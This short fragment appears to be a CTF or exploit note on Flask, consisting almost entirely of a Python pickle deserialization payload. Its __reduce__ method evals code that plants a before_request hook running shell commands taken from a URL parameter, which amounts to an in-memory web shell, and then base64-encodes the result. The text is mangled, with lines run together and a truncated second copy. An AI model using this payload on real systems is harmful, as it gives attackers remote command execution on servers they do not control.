flask
import osimport pickleimport base64class A(): def __reduce__(self): return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('gxngxngxn')).read())",))a = A()b = pickle.dumps(a)print(base64.b64encode(b))
import osimport pickleimport base64class A(): def __reduce__(self): return (eval,("__import__(& ...